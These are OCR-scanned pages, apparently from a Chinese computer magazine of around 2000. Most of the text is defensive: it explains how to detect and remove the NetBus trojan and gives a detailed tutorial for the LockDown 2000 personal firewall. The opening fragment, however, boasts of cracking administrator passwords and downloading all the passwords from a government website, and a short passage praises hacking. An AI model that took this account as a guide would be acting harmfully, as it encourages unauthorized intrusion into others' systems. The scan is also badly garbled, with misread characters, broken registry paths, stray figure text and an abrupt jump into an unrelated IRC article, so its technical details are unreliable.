有 一 台 机 器 为 : usasbclient, 其 中 管理 员 有 : administra-

torvtest\usasb ,利用 letmein 得 到 test 的 密码 为 空 ,采用

上 面 的 方法 , 得 到 usasb 的 密码 , 利 用 LC 解 出 usasb

的 密码 明码 ,ok ,再 用 usasb 进入 www. somesite. gov ,将

其 所 有 密码 下 载 后 , 接 下 来 killusa 要 睡觉 去 了 ! ! !

二 ) 人

要 成 为 一 名 优秀 的 Hacker, 必须 有 敏锐 的 洞察 力

和 应 变 能 力 , 必 须 对 各 种 操作 系统 相当 了 解 , 并 且 有

很 好 的 编程 水 平 , 鉴 于 当前 形势 严峻 , 不 做 一 名 优秀

的 Hacker, 人 个 门 ,也 能 取得 好 成 绩 , 哈 哈 ……

珀 、 防 范 与 追 杀 NetBus

T., 你 的 机 器 中 有 NetBus 吗

中 了 NetBus 的 人 要 小 心 。NetBus 感染 到 你 机 器

里 的 程序 的 名 字 是 由 你 执行 带 NetBus 的 某 个 正常 的

程序 的 名 字 决 定 的 。 但 中 了 NetBus 后 的 机 子 有 几 个

特征 ,NetBus 第 一 种 会 在 c:\ windows 目录 下 生成 一

个 文件 , 一 种 是 图 标 像 c: \ windows \ system 目录 下 的

“查看 频道 . scf "文件 ,这 只 能 在 双 IN98 里 看 到 。 这 图

标 看 起 来 是 一 个 中 心 淡 蓝 色 的 锅 状 卫星 天 线 ; 另 一 种

是 图 标 像 一 个 燃 着 的 向 右倾 斜 的 火炬 , 背景 是 一 个 小

小 的 深蓝 色 的 圆 面 。 如 果 你 在 : \windows 目录 下 看 到

这 两 种 图 标的 文件 , 在 文件 上 点 击 鼠 标 右 键 , 点 菜单

最 底下 的 “属性 ”, 看 看 “大 小 ”是否 出 现 “483KB” 或

“461IKB” ,如 果 出 现 其 中 一 种 , 那 请 再 运行 c: \windows

目录 下 的 regeditexe, 辐 样 点 击 目 录 至

HKEEY LOCAL MACHINE \ SOFTWARE\ MICROSOFTA

WINDOWS\ CURRENTVERSIONA RUN 看 有 没有 哪个

ab 项 的 名 称 与 你 发 现 的 那 种 图 标的 文件 的 名 字 相 同 ,

如 果 有 ,看 看 这 ab 项 右边 是 不 是 出 现 “C:\ windows\

图 标的 名 字 . exe/nomsg" ,如 果 出 现 的 话 ,表示 你 的

子 中 了 NetBus。 同 上 面 一 样 ,删除 这 个 ahb nj

MS -DOS 方 式 , 输 入 ed c: \windows 回 车 ,输入 del 图

标的 名 字 . exe 回 车 , 输入 del keyhook. dll 回 车 , 返回

windows。

NetBus 的 工作 方式 类 似 于 BackOrifice ,一 旦 用 户

在 其 系统 中 安装 了 该 软件 (不 管 有 意 还 是 无 意 ), 黑客

就 可 以 取得 该 用 户 系统 的 几乎 完全 的 远程 控制 权 , 这

一 点 很 像 合 法 的 遥控 产品 (如 PC Anywhere)。

2, 对 付 NetBus 的 通常 手段

如 果 不 小 心 被 别人 植 人 了 NetBus 之 后 , 应 该 怎

么 办 呢 ?

若 想 手工 印 载 NetBus, 就 先 要 找到 注册 密 铀 、

HKEEY LOCAL MACHINE \SOFTWAREA\Microsoft\ Win-

dows\ Current Version \ Run and remove the program( 通

常 是 patch. exe) , 然 后 在 受 侵 计算 机 的 硬盘 上 找到 同

名 文件 (扩展 名 有 多 种 ,如 . ini) 并 删除 。

不 少 杀 毒 产 品 都 能 对 付 NetBus,Panda Software

(www. pandasoftware. com) 就 提供 一 种 免费 软件 。 另

外 , 利 用 网 络 扫描 工具 搜索 标准 的 NetBus 端口

(12345 和 12346) 也 能 够 将 其 检测 出 来 ,但 缺点 是 , 它

只 搜索 用 户 指 定 的 端口 , 由 于 NetBus 能 随意 改变 端

口号 的 设置 , 因 此 发 现 port 12345 并 不 代表 NetBus

肯定 存在 于 系统 中 。 要 找到 NetBus , 必须 扫描 本 地 系

的 UDP 接收 端口 。

要 把 NetBus 从 系统 中 删 掉 , 有 许多 产品 可 供 选

择 。Privaey Software(www. privsoft. com ) 的 BOClean32

2.01 等 商业 产品 或 是 Puppet(www. dynamsol. com/

puppet) 的 Cleaner 1. 9e 等 免费 软件 都 能 胜任 这 项 工

作 。Cleaner 不 仅 能 有 效 排除 NetBus 的 侵 染 ,还 能 检测

并 清除 其 它 多 种 Trojans 如 BackOrifice、Master” s Par-

adise。

很 多 站 点 上 都 提供 NetBus 的 相关 信息 , 包 括 其

二 进 制 文件 , 功能 解释 , 和 钙 载 步骤 。 在 此 我 们 推荐

www. nttoolbox. com 、www. nwi. net/ ~ pchelp/nbvNet-

Bus. htm 以 及 Privacey Software 的 www. privsoft. comV

psc - nb. html。

对 于 NetBus 和 BackOrifice 这 类 Trojan 程序 , 你

的 态度 如 何 ? 其 创作 者 是 纯粹 为 了 消遣 还 是 别 有 险 亚

用 心 呢 ? 也 许 二 者 都 有 ……:

3. 拦住 巴士 的 NetBus Detective

NetBus 具有 很 强 的 功能 , 是 最 经 常 使 用 的 黑客

软件 之 一 ,也 正 是 因为 如 此 , 产生 了 专门 对 付 这 种 黑

客 软件 的 工具 , NetBus Detective 就 是 其 中 一 种 防止 黑

客 用 NetBus 人 侵 的 工具 。

NetBus Detective 防止 黑客 利用 NetBus 人 侵 你 的

电脑 , 并 且 保 护 电脑 不 受 特 洛 伊 木 马 病毒 进攻 。Net-

Bus Detective 主要 的 功能 就 是 防止 黑客 利用 NetBus

人 侵 你 的 电脑 。NetBus Deteetive 可 以 侦 测 所 有 NetBus

的 相关 活动 , 当 它 侦 测 到 有 黑客 人 侵 的 时 候 还 会 发 出

讯息 告诉 对 方 :你 已 经 人 侵 失 败 啦 !

另外 ,现在 也 有 很 多 专门 为 NetBus 设计 的 特 洛

伊 木 马 病 毒 。 这 些 病毒 也 同样 很 容易 人 侵 使 用 NetBus

的 电脑 。 而 NetBus Detective 也 针对 特洛伊 木马 做 了 防

护 , 绝 对 不 会 让 “木马 屠城 记 ” 上 演 啦 ! 钳

“林子 大 了 什么 鸟 儿 都 有 ”, 这 话 一 点 没 错 。 随 着

互联 网 的 迅速 发 展 , 上 网 人 数 急 剧 增加 , 黑客 人 侵 的

事件 也 越 来 越 多 了 。 据 Worldtalk 公司 的 最 新 调查 表

明 :现在 ,每 1000 封 电 子 邮件 中 , 就 有 一 封 携带 病毒 ,

其 中 就 包括 黑客 施放 的 特洛伊 木马 程序 。 遗 憾 的 是 ,

大 部 分 普通 网 民 , 并 不 具备 专业 反 黑 技术 , 犹如 赤 条

条 游行 于 茫茫 网 海中 , 自然 而 然 成 为 黑客 的 “造访 ”对

象 ,甚至 有 的 人 长 期 处 于 黑客 监视 之 下 自己 却 全 然 不

知 。

“木马 “炸弹 ”让 我 们 上 网 时 胆战心惊 , 难道 我

们 就 此 训 足 不 前 吗 ? 虽 然 我 们 这 些 普 通用 户 没 有 值 银

子 的 机 密 资 料 ,也 没有 能 力 没 必要 购置 昂贵 的 安全 设

备 , 但 就 这 样 提 心 吊 胆 、 任 人 宰割 吗 ? 著名 的 Harbor

Telco 网 络 安全 技术 公司 为 此 开发 了 号 称 是 Windows

环境 下 最 有 效 的 网 络 安全 防护 软件 LockDown 2000,

可 以 助 我 们 一 臂 之 力 。

一 、LockDowam 简介

LockDown 2000 是 Harbor Telco 网 络 安全 技术 公

司 开发 的 ,号 称 Windows 环境 下 最 有 效 的 网 络 安全 防

护 软 件 , 它 是 一 个 个 人 防火 墙 性 质 的 软件 , 不 仅 可 以

与 局 域 网 中 现 有 的 防火 墙 一 起 合作 , 自己 本 身 也 可 以

作为 一 道 单 独 的 防火 墙 , 防 病毒 并 监控 来 自 网 络 上 的

黑客 冯 和 人 你 的 计算 机 。 当 你 连 线 上 网 时 ,LockDown

2000 会 自动 在 后 台 启 动 。

LockDown 2000 能 够 实时 查 杀 596 种 黑客 程序

和 未 知 的 所 有 特洛伊 木马 , 邮件 病毒 (包括 爱 虫 ) , 防

上 正 网 络 炸 弹 攻击 、 在 线 检测 和 控制 所 有 对 本 机 的 访

问 。 还 能 跟踪 人 侵 者, 留 下 它 的 罪证 …… 当 然 , 世 界 上

没有 万 能 的 工具 ,只 有 您 自身 建立 起 安全 意识 , 不 要

轻视 不 可 靠 的 程序 ,以 免 中 招 !

这 个 软件 功能 强大 , 完 全 可 以 应 付 黑客 的 侵 比 ,

但 美中不足 的 是 LockDown 2000 占用 的 系统 资源 比

较 大 , 运 行 时 可 能 会 影响 速度 。 而 且 LockDown 2000

是 一 个 共享 软件 ,你 只 有 10 天 的 试用 期 ,10 天 后 要

想 继续 使 用 的 话 就 得 破 费 破 费 了 。

目前 LockDown 2000 的 最 新 版 本 是 v7. 0. 0.2。

二 、LockpDovwn 2000 的 主要 功能

LockDown 2000 是 一 个 个 人 防火 墙 , 它 会 以 连 线

方式 监控 你 的 网 络 连接 , 记 录 访 问 者 和 侵入 者 的 正

地 址 , 记录 访问 者 所 进行 的 各 种 操作 ,而 你 可 以 使 用

LockDown 2000 将 不 速 之 客 拒 之 门 外 。 新 推出 的

LockDown 2000 v7. 0. 0.2, 堵 住 了 Windows 95/98/ZNT

中 新 发 现 的 安全 漏洞 , 能 防止 网 络 炸弹 的 攻击 , 能 清

除 目 前 所 有 的 特洛伊 木马 , 它 的 主要 功能 有 以 下 几 个

方面 :

1. 可 记录 连 入 你 计算 机 的 使 用 者 的 连接 情况

如 果 你 选择 让 其 他 局 域 网 连接 到 你 的 电脑 上 时 ,

LockDown 2000 可 以 自动 地 为 你 将 对 方 所 有 的 连接 过

程 记 录 下 来 , 让 连接 方 在 你 的 监控 下 , 不 但 可 以 记录

到 对 方 的 卫 地 址 , 而 且 可 以 将 对 方 主机 的 名 称 也 一

并 记录 下 来 。 你 还 可 以 记录 所 有 客户 的 登录 。

2. 可 有 选择 性 地 让 使 用 者 连 入 你 的 计算 机

用 LockDown 2000 来 管理 连 线 到 你 机 器 上 的 使

用 者 也 相当 的 方便 好 用 , 你 可 以 选择 拒绝 所 有 的 使 用

者 连接 到 你 的 机 器 ,或 者 是 只 让 经 过 你 核准 并 且 列 在

你 下 列表 清单 中 的 使 用 者 才 可 以 连接 上 来 , 这 样 不

但 可 以 有 效 地 对 使 用 者 进行 过 滤 ,区别 对 待 , 并 且 可

以 避免 黑客 的 人 侵 。

3. 可 随时 切断 使 用 者 的 连 线

除了 上 述 利用 正 控 管 的 方式 来 选择 可 以 登录 你

主机 的 远 端 使 用 者 之 外 , 你 还 可 以 通过 其 它 方 法 来 立

即 打 击 这 些 人 侵 你 电脑 的 不 速 之 客 。 在 LockDown

2000 中 拥有 即时 切断 使 用 者 连 线 的 功能 , 当 有 身份

不 明之 士 连接 到 你 的 电脑 上 上 时, 你 可 以 选择 使 用 这 种

功能 。 这 样 , 即 使 你 先前 的 防备 并 没有 起 作用 ,也 还 来

得 及 将 对 方 断 线 , 并 且 可 以 即时 监控 访问 者 在 你 电脑

4. 可 查找 不 速 之 客 的 来 源

另外 你 也 可 使 用 LockDown 2000 来 帮 你 找 出 那

些 不 速 之 客 是 从 哪里 来 的 , 你 只 要 运行 LockDown

2000 之 中 的 TraceRoute 工具 , 便 可 以 正确 地 找到 对 方

的 连 线 正 、 主 机 名 称 等 等 , 用 Whols 工具 可 以 让 对 方

犯罪 的 证 据 完整 地 记录 下 来 。

5. 具有 警告 提醒 功能

如 果 你 本 人 当时 并 没有 坐 在 电脑 前 , 只 要 有 人 想

要 连接 到 你 的 电脑 上 ,LockDown 2000 就 会 发 出 报警

的 声响 , 提醒 你 赶快 去 监控 对 方 在 你 电脑 上 进行 何 种

活动 。 如 果 你 觉得 光 声 音 还 不 够 , 这 时 还 可 以 选择 以

Pop -up( 弹 出 式 窗 口 ) 的 方式 来 提醒 你 。

从 以 上 史 点 可 以 看 出 ,LockDown 2000 可 以 安全

保护 计算 机 在 未 经 许可 下 被 访问 , 这 样 任何 一 种 远程

控制 工具 都 无 法 对 你 构成 威胁 。 所 有 的 这 些 , 都 让 你

的 电脑 时 刻 处 于 层 层 呵 护 之 下 , 让 你 的 数据 免 受 黑客

攻击 。LockDown 2000 的 确 是 一 个 使 用 简单 而 功能 强

大 的 防 黑 软件 ,而 且 在 国内 各 个 下 载 站 点 ,几乎 都 有

它 的 汉化 文件 一 一 “中 文 ” 的 防 黑 软 件 想 必 很 简单

吧 ? 因此 ,安装 了 LockDown 2000, 就 相当 于 雇 了 一 名

反 黑 高 手 , 有 时 可 能 你 自己 还 没 反应 过 来 , 它 就 已 经

幸 你 避免 了 一 场 灾 难 。

三 LockpDovm 2000 的 使 用 方法

罗 里 罗 唆 地 说 了 一 大 堆 LockDown 的 好 处 , 那 么

如 何 使 用 LockDown 呢 ?首先 ,我们 来 看 看 它 的 界面 和

设置 :

LockDown 2000 启动 后 , 会 有 一 个 黄色 小 锁 图 标

出 现在 系统 任务 栏 。 双 击 这 个 图 标 将 弹出 如 图 所 示

的 LockDown 2000 的 界面 。

整个 界面 由 菜单 栏 、 工 具 栏 、 状 态 栏 和 工作 区 等

_ 组成。 状态 栏 主要 显示 当前 的 断 开 模式 、 共 享 连接 数 ,

至 于 莱 单 栏 和 工具 栏 , 后 面 用 到 时 将 做 详细 说 明 , 这

里 主要 介绍 工作 区 的 五 个 标签 窗口 。

Main( 主 信息 窗口 ): 如 图 1 所 示 , 主 要 显示

LockDown 2000 的 运行 记录 。 如 : 刚 启 动 时 , 它 会 显示

哪些 模块 被 激活 , 娜 些 模块 被 禁用 。 运 行 之 后 ,会 显示

什么 时 候 扫 描 过 木马 等 。 窗 口 下 面 还 有 三 个 Options

(选项 ) 按 钮 , Trojan Scanner 用 于 设置 特洛伊 木马 扫描

器 ,ICQZNukesZTroj 用 于 设置 ICQ 炸弹 / 炸弹 / 特

洛 伊 监 测 模块 ,AutoTrace 用 于 设置 黑客 路 径 自 动 追

踪 。 此 外 ,右边 还 有 两 个 按钮 , Save Information Log 用

于 保存 窗口 信息 。Clear Information Lof 用 于 清除 窗口

信息 。

Net Utilities( 网 络 工具 窗 ): 如 图 2 所 示 , 它 主要

包括 TraceRoute 和 Whois 两 个 网 络 检 测 工 具 。 前 考 用

于 手动 追踪 人 侵 者 的 路 径 , 而 后 者 则 依据 前 考查 到 的

信息 , 查 出 其 ISP 的 联络 信息 。

19216806

下 站 /站 肖 、 让 8

[Looking up 192.168.0.8 on Whoisnetworksol

ms 10ms 1ms

[> Trace Route Complete =]

his querg you agfee to abide by this poticy-.

图 2

Shares( 共 享 窗口 ) : 显示 共享 文件 夹 和 共享 者 信

息 (如 图 囊 es ae

3)。 在 这 里

显示 了 你 的

计算 机 上 所

有 的 共享 资

源 情 况 , 在

相应 的 文件

严 二 点 震 者

键 可 以 修改

演 于 cosaset0d82 OF

共享 属性 。

Current Share Connections( 当前 共享 连接 窗口 、 :

如 图 4 所 示 , 显示 当前 所 有 访问 你 计算 机 、 与 你 共

文件 的 连接 及 来 访 者 的 登录 信息 。 显 示

时 间 、 日 期 ,连接 的 时 间 和 空闲 的 时 间 , 以 及 来 访 者 的

了 地 址 和 用 户 名 。 选 中 相应 的 文件 夹 将 显示 来 访 者 在

相应 的 文件 夹 所 进行 的 操作 。 在 此 ,你 可 以 选择 斯 开 、

0 人

图 4

共享 连接 窗 ): 如

Former Share Connections( 以 前 去

图 5 所 示 , 在 这 个 窗口 中 显示 曾经 访问 过 你 计算 机 的

连接 及 来 访 者 的 登录 信息 。 记 录 了 来 访 者 登录 时 间 、

退出 的 时 间 、 连 接 的 时 间 以 及 来 访 者 的 卫 和 用 户 名

等 信息 。

Plug - ins: 显示 了 LockDown 2000 的 插件 , 按 下

按钮 Get Information 将 从 LockDown 2000 的 主页 上 获

取 关 于 捅 件 LockDown 2000 VBS Inspector 的 信息 , 点

击 Download and Install 将 从 LockDown 2000 的 主页 上

下 载 并 安装 VBS Inspector。

四 、LockpDowm 2000 的 设置

虽然 , 对 于 初级 用 户 而 言 , 即 使 不 作 任何 配置 ,

LockDown 2000 仍 能 正常 工作 ,但 是 ,要 让 它 更 好 地 为

你 把 好 家 门 ,你 必须 了 解 这 部 分 内 容 。

要 进入 LockDown 2000 的 设置 区 域 , 有 多 种 方

法 , 最 简单 的 是 , 直 接 按 下 快捷 工具 栏 上 的 Options

(选项 ) 按钮 ,进入 Options 对 话 框 (如 图 6) ,通过 在 五

”个 标签 之 闻 切 换 , 就 可 以 修改 LockDown 2000 的 主要

设置 。

hois.networksolutia

General( 通 用 ) 标 签 (如 图 6) :

Network Info Refresh Rate :网 络 信息 刷新 率 。 用 来

设置 刷新 及 断 开 的 时 间 间 由 。 默 认 的 时 间 间 隔 是

1000 毫秒 , 为 了 安全 起 见 , 可 以 使 用 更 低 的 刷新 率 ,

如 500 毫秒 。

Number of 人 to remember: 存 储 连 接 数 。

表示 最 多 允许 保存 以 前 的 多 少 连 接 。 默 认为 100 个 连

接 。

Launch LockDown2000 on startup: 自动 运行

LockDown 2000。 即 在 系统 启动 时 , LockDown 2000 自

动 打开 。 选 中 前 面 的 复 选 框 表示 "允许 ”自动 运行 。

Popup window on new connection: 如 有 新 连接 将

弹出 窗口 。 选 中 后 , 当 有 人 试图 连接 到 你 的 计算 机 时 ,

LockDown 2000 将 弹出 警示 窗口 。 默 认为 “允许 ” 状

Jo

Log 了 了 C 书 ,IPC 是 Inter Process Communication 的

缩写 , 意 为 “进程 间 通 信 ”, 用 于 在 两 个 过 程 之 间 交 换

特定 信息 。 默 认 设置 为 "禁止 "。.

Warm 双 hen FExiting LockDown2000: 退 出 前 警告 。

选中 此 项 后 ,退出 LoekDown 2000 时 ,系统 将 弹出 如

图 7 所 示 的 对 话 框 , 提示 你 退出 LockDown 2000 将 失

去 对 你 计算 机 的 保护 。 默 认 * 禁 止 "。

图 7

Sound when new comnection : 当 有 新 连接 时 发 出 警

报 。 默 认 设 置 为 发 出 Standard sound

(siren) (标准 警报 声 ) ,你 也 可 以 选择 Custom sound( 定

制 声 音 ) , 另 外 指定 一 种 声音 , 但 指定 的 声音 必须 是

. wav 格式 的 。 ,

, Default 允 hois Server: 选择 默认 的 双 hois 服务

器 。 如 要 查 国 内 的 ISP, 可 从 下 拉 列 表 中 选择

whois. cnnic. net. cn( 中 国 互 联网 络 信 息 中 心 )。

TraceRoute new connecetion : 追踪 新 连接 的 路 径 。

选中 该 选项 后 ,LockDown 2000 将 对 任何 试图 访问 你

计算 机 的 连接 进行 追踪 。 默 认 “ 人 允许 "。

Disconnect( 断 开 ) 标 签 (如 图 8) :

图 8

Add program( 添 加 程序 ) 按钮 : 将 那些 不 允许 他

人 执行 的 程序 添加 到 列表 中 。 通 常 , 将 一 些 可 能 对 你

的 系统 或 文件 造成 破坏 的 程序 添加 进去 , 如 For-

mat. com、Debug. exe 等 等 。 当 有 人 不 怀 好 意 地 执行 表

中 程序 时 , 他 与 你 计算 机 的 连接 会 被 立即 强制 断 开 ,

从 而 避免 灾难 发 生 。

Clear Program List 按钮 :清空 程序 列表 。

Remove program 按钮 : 将 所 选中 的 程序 名 从 列表

中 删除 。

Disconnect all when executing programs jisted

above: 当 有 人 执行 断 开 列表 中 的 程序 时 ,LockDown

2000 将 立即 断 开 当前 所 有 与 你 的 连接 用 户 。 呵 呵 ,这

样 不 分 青 红 气 白 , 是 不 是 有 点 “防卫 过 当 ”, 默认 设置

为 “禁止 "。

Disconnect users after idle time:, 空闲 络 久 将 被 断

开 。 这 个 设置 用 于 断 开 那些 连接 到 你 的 计算 机 后 长 时

间 没 有 操作 的 用 户 。 默 认 设 置 为 10 分 钟 , 要 想 更 多 朋

友 访 问 你 的 计算 机 ,可 以 缩短 该 设置 。

”Maxmium number of connections :最 大 连接 数 。 即

允许 同时 连接 到 你 计算 机 的 用 户 数 。 默 认 设 置 为 10,

最 小 设置 为 1。

PP Filter( 卫 过 滤器 ) 标 签 (如 图 9):

02.204.208.118

图 9

Add JP Filter( 添 加 瑟 过滤 融 ) 按 钮 :下 过 滤器 ”

是 LockDown 2000 内 部 一 件 更 加 灵活 的 反 黑 武器 。 它

人 允许 用 户 事 先 指 定 一 个 瑟 地 址 〈 通 常 只 是 前 三 段 ),

然后 , 将 来 访 者 的 瑟 地 址 与 之 对 照 , 吻合 的 放行 , 不

易 合 的 则 被 挡住 。 例 如 ,202. 204. 208 ,就 可 算 一 个 卫

过 滤器 , 将 它 添加 到 表 中 后 , 如 果 一 个 来 访 者 的 卫 地

址 是 202. 204. 207. x , 那 么 , 他 会 被 视 为 非法 人 侵

者 , 而 被 拒 之 “机 ”外 ; 但 假如 来 访 者 的 芋 地 址 是

202. 204. 208. 大, 那么 他 会 被 视 为 合法 用 户 而 允许 进

和 入。 注意, 卫 过 滤器 的 作用 优先 于 后 面 要 介绍 到 的

Disconnect Mode( 断 开 模 式 ) 的 设 定 。

Kilter IP Addresses( 过 滤 卫 地 址 ): 选中 此 项 后 ,

上 面 添 加 的 卫 过 滤器 才能 生效 。 由 于 默认 情况 下 ,无

须 用 下 过 滤器 ,因此 该 选项 被 “禁止 ”。

Detection( 侦 测 ) 标 签 ( 如 图 10) :

Detect Trojan Connection Attempts : 侦 测 试图 通过

特洛伊 木马 进行 的 连接 。 选 中 该 项 后 , 如 果 有 人 企图

通过 特洛伊 木马 连接 到 你 的 计算 机 , 那么 ,LockDown

2000 会 发 出 声音 警报 ,并 对 其 进行 监测 和 追踪 。 这 是

LockDown 2000 最 重要 的 选项 , 当然 要 激活 。 所 以 , 黑

认 设 置 为 “允许 ”。

图 10

ICQ Nuke Protection :ICQ 炸弹 防护 。 选 中 该 选项

后 ,可 以 防止 他 人 用 ICQ 炸弹 攻击 你 。 为 避免 冲突 ,局

用 该 功能 后 。 建议 你 不 要 再 启动 其 它 同 类 保护 软件 ,

如 ICQ Protect、WFIPS2 等 。 此 外 , 该 选项 有 可 能 会 引

起 “内 存 不 足 错 误 ”, 因此 ,如 果 你 不 使 用 ICQ, 就 不 要

选 它 。 默 认 设 置 为 "禁止 "。

Nuke Protection, 炸弹 防护 。 选 中 后 ,LockDown

2000 将 监测 通常 情况 下 容易 受到 黑客 攻击 的 端口 ,

一 旦 这 些 端口 中 的 某 个 被 访问 ,LockDown 2000 将 立

即 断 开 其 连接 ,并 追踪 来 访 者 信息 。 同 样 ,建议 你 不 要

与 同类 保护 程序 一 起 使 用 , 否则 , 也 可 能 出 现 内 存 不

呈 。 默认“ 禁止 "。

Trojans( 特 洛 伊 ) 标签 (如 图 11): 用 来 设 定 扫描

特洛伊 木马 的 方式 ,对象 .附加 路 径 等 。

所 T800 iler rojan

:到 9k Keylogger.a

汉 |9x Keylogger'b

1 Achtung -RAT

图 11

Automatic Trojan Scanner( 木 马 自 动 扫描 器 ): 包

括 四 个 选项 , 其 中 Scan for unknown trojans, 用 于 设 定

是 否 扫描 未 知 特洛伊 木马 , 选中 后 , 将 对 Windows 的

系统 文件 WIN. INI、 AUIOEXEC. BAT、SYSTEM. INI、

CONFIG. SYS 等 进行 扫描 (默认 设置 为 “允许 ") , 你 也

可 以 在 它 的 左边 Pile Change Monitor( 文 件 改变 监视 )

区 域 , 选择 笠 不 检查 上 述 某 些 文件 , Background scan for

trojans, 用 于 设 定 是 否 在 后 台 扫 描 特 洛 伊 木马 , 选 中

后 ,在 扫描 木马 的 同时 ,你 可 以 做 其 它 事 情 ,扫描 对 象

为 系统 及 用 户 指定 目录 , 如 允 indows、Windows\ Sys-

tem、Windows\ Temp 、Startup 等 , 默认“ 人 允许 ”; Back-

ground scan at start, 用 于 设 定 是 否 在 系统 或 LockDown

2000 启动 时 进行 后 台 扫描 , 选中 后 , 未 经 你 同意 , 任

何 特洛伊 或 其 它 程序 不 能 运行 , 默 认 “ 禁 止 ?; 至 于

Scan interval, 用 于 设 定 后 台 扫 描 的 时 间 间 隔 , 默认 设

置 为 20 秒 , 为 安全 起 见 , 可 以 缩短 为 10 秒 或 更 短 时 .

间 ,但 注意 ,无 论 这 里 的 时 间 间 隔 设置 多 长 ,一 且 系 统

文件 或 目录 发 生变 化 ,LockDown 2000 都 会 立即 重新

扫 摘 。

Manual Trojan Scan :手动 扫描 特洛伊 木马 。 从 下

拉 列 表 中 选择 要 扫描 的 驱动 器 , 按 下 Scan Srive for

Trojans 按钮 ,LockDown 2000 将 以 低 优 先 级 扫描 驱动

器 上 的 文件 , 这 种 方式 的 好 处 是 , 可 以 优先 保证 其 它

应 用 程序 的 运行 。

Additional Scan Path :附加 扫描 路 径 。 你 可 以 另外

指定 一 个 目录 (如 存放 下 载 文件 的 ) , 让 木马 扫描 器 每

次 激活 后 一 并 对 其 扫描 。

Ignore List: 忽 略 列表 。 如 果 因 为 某 些 原因 将 一 个

文件 添加 到 忽略 列表 中 , 你 可 以 按 Remove 按钮 删除

它 5

上 面 介绍 了 在 Options 对 话 框 中 五 个 标签 下 , 修

改 LockDown 2000 的 主要 设置 , 此 外 , 你 还 可 以 单 击

主 窗口 中 的 菜单 View( 查 看 )/Disconnect( 断 开 ), 在

Disconnection Mode( 断 开 模 式 ) 对 话 框 中 , 选择 适当 的

斯 开 模式 ,如 图 12 所 示

图 12

Disconnect al 全 部 断 开 。 该 模式 断 开 所 有 来 访

者 的 连接 。

Disconneetion list: 断 开 列 表 。 该 模式 只 断 开 列表

中 指定 用 户 的 连接 , 将 那些 不 受 欢 迎 的 人 加 进去 吧 。

要 查看 表 中 现 有 哪些 用 户 或 者 要 增删 用 户 , 可 以 点 击

View List( 查 看 列表 ) 按 钮 。

Disconnection Off :上 断 开 关闭 。 该 模式 将 不 断 开 任

何 连接 , 即 允许 任何 人 与 你 的 计算 机 连接 并 共享 文

件 。

另外 , 也 可 以 鼠标 右 击 系统 任务 条 中 的 黄色 小 俩

图 标 ,选择 断 开 模 式 。

王 、 如何 用 Lockpovwm 2000 捕获

黑客

了 解 LockDown 2000 的 界面 和 设置 后 , 现在 来 看

看 如 何 用 它 捕 获 黑 客 。 正 如 前 面 介 绍 的 ,LockDown

2000 的 户 动 .监控 ` 追 踪 ,都 是 自动 进行 的 。 要 查 出 黑

客 , 用 户 的 主要 任务 是 ,解读 追踪 信息 并 查找 ISP 联

络 信息 。

通常 ,LockDown 2000 会 自动 将 追踪 信息 存 为 一

个 按 日 期 命名 的 log 文件 , 如 当天 是 2000 年 7 月 25

日 , 文 件 名 就 为 07252000scan. log, 它 位 于 LockDown

2000 目录 内 ,点 击 工具 栏 上 的 Logs 按钮 ,可 以 看 到 所

有 log 文 件 的 列表 , 而 选中 一 个 log 文件 , 可 以 看 到 文

件 的 详细 内 容 , 如 图 13 所 示 。

00-7. 54:52] System AN Scan Si

00.7.27 9:55:37] Scan Complete.

半 072626D0SCAN LOG

油 大 了 | 如

00.7.27 10:23:23] Scan Complete.

00-7-27 11:5F717] System Area Scan Stalt

00.7-27 12:01:02] Scan Complete.

00.7-27 17:09:37] System Area Scan 5tart

00-.7-27 17:10:22] Scan Complete.

这 里 假设 打开 一 个 log 文件 , 让 我 们 来 看 看 如 何

_ 用 它 抓 住 黑 客 。 这 个 log 文件 起 始 部 分 内 容 如 下 ( 纯 属

虚构 ,请 不 要 对 号 入座 ),

< j: 46: 29 PM> Trojan network connectivity check

enabled.

< 1:46:29 PM> Auto Trojan scan js afivaigd:

< 1: 46:29 PM> Nuke protection disabled.

<1:460:29 PM> ICQ Nuke protection disabled.

<3: 14: 24 PM> Incoming hack attempt from PP

Address: 202. 204. 211. 249

注意 第 五 行 , 可 以 看 到 , 一 个 下 地 址 为

202. 204. 211. 249 的 黑客 , 兽 在 下 午 3: 14: 24 试图 人

侵 本 机 。 但 从 接 下 来 的 两 行 ,可 以 看 出 ,他 没有 得 未。

因为 在 同一 时 刻 ,LockDown 2000 终止 了 他 的 连接 ,并

开始 追踪 其 路 径 :

<3: 14: 24 PM> Terminated connection attempt…

<3: 14:. 24 PM> Attempting trace route…Please

stand by

过 了 26 秒 钟 ,追踪 结果 出 来 了 。 注 意 最 后 儿 行 ,

可 以 找到 这 个 黑客 的 SP 和 他 ISP 的 上 游 提 供 商 :

<3: 14: 350 PM> => 194.ATM8 -0-

0. CW1.DFW1. ALIER. NET

<3: 14: 50 FM> =>

gw. customer. ALITER. NET

<3: 14: 30 PM> => big-bro- 朱 -0.iadfw.net

<3: 14: 30 PM> =>

1. net. iadfw. net

<3: 14: 530 PM> => atnt03. ght. iadfw. net

< 3: 14: 50 PM> => pppt03 -

251. ght. iadfw. net

上 面 最 后 一 行 就 是 黑客 的 拨号 地 点 , 即 这 个 黑客

是 在 pppt03 - 251. ght. iadfw. net 拨号 上 网 的 , 它 的 JISP

就 是 末尾 的 iadfw. net, 而 这 个 ISP 的 上 游 提 供 商 , 就

是 前 面 几 行 末尾 的 ALITER. NET。

接 下 来 , 根 据 查 到 的 ISP 及 其 上 族 提 供 商 域名 ,

手动 查找 它们 的 联络 信息 。 为 此 ,点 击 LockDown 2000

主 窗 口中 的 “Net Utilities” 标 签 ,在 右边 的 Whois 区 域 ,

输入 ISP 的 地 址 iadfw. net( 注 意 先 联网 ), 然 后 点 击

Execute( 执 行 ) 按 钮 ,出现 如 下 查询 结 采 :

IADFW.NET on

iadfw3 --

ghtia - ds3 -

= 上 Looking up

whois. internic. net] = =

Registrant:

Internet America (IADFW -DOM)

350 N,St, Paul,Suite 反 000

Dallas,TX 73201

US

Domain Name: IADEW.NET

Administrative Contact:

Davis,Doug (DD344) cto@ AIRMAILL. NET

214. 979. 9009 (下 转 第 262 页 )

JIRC 的 优 扣

1. 最 大 的 特点 是 实现 了 在 线 实 时 交谈 , 这 是 它

比 通过 电子 邮件 进行 联络 沟通 更 为 迷人 的 地 方 。

2. 可 以 设置 单独 的 频道 , 在 这 个 频道 内 输出 的

文字 可 供 所 有 人 都 看 到 , 这 样 可 以 使 来 自 世 界 不 同 角

落 的 人 同时 得 到 有 关 人 信息。 这样 可 以 几 个 朋友 约定 好

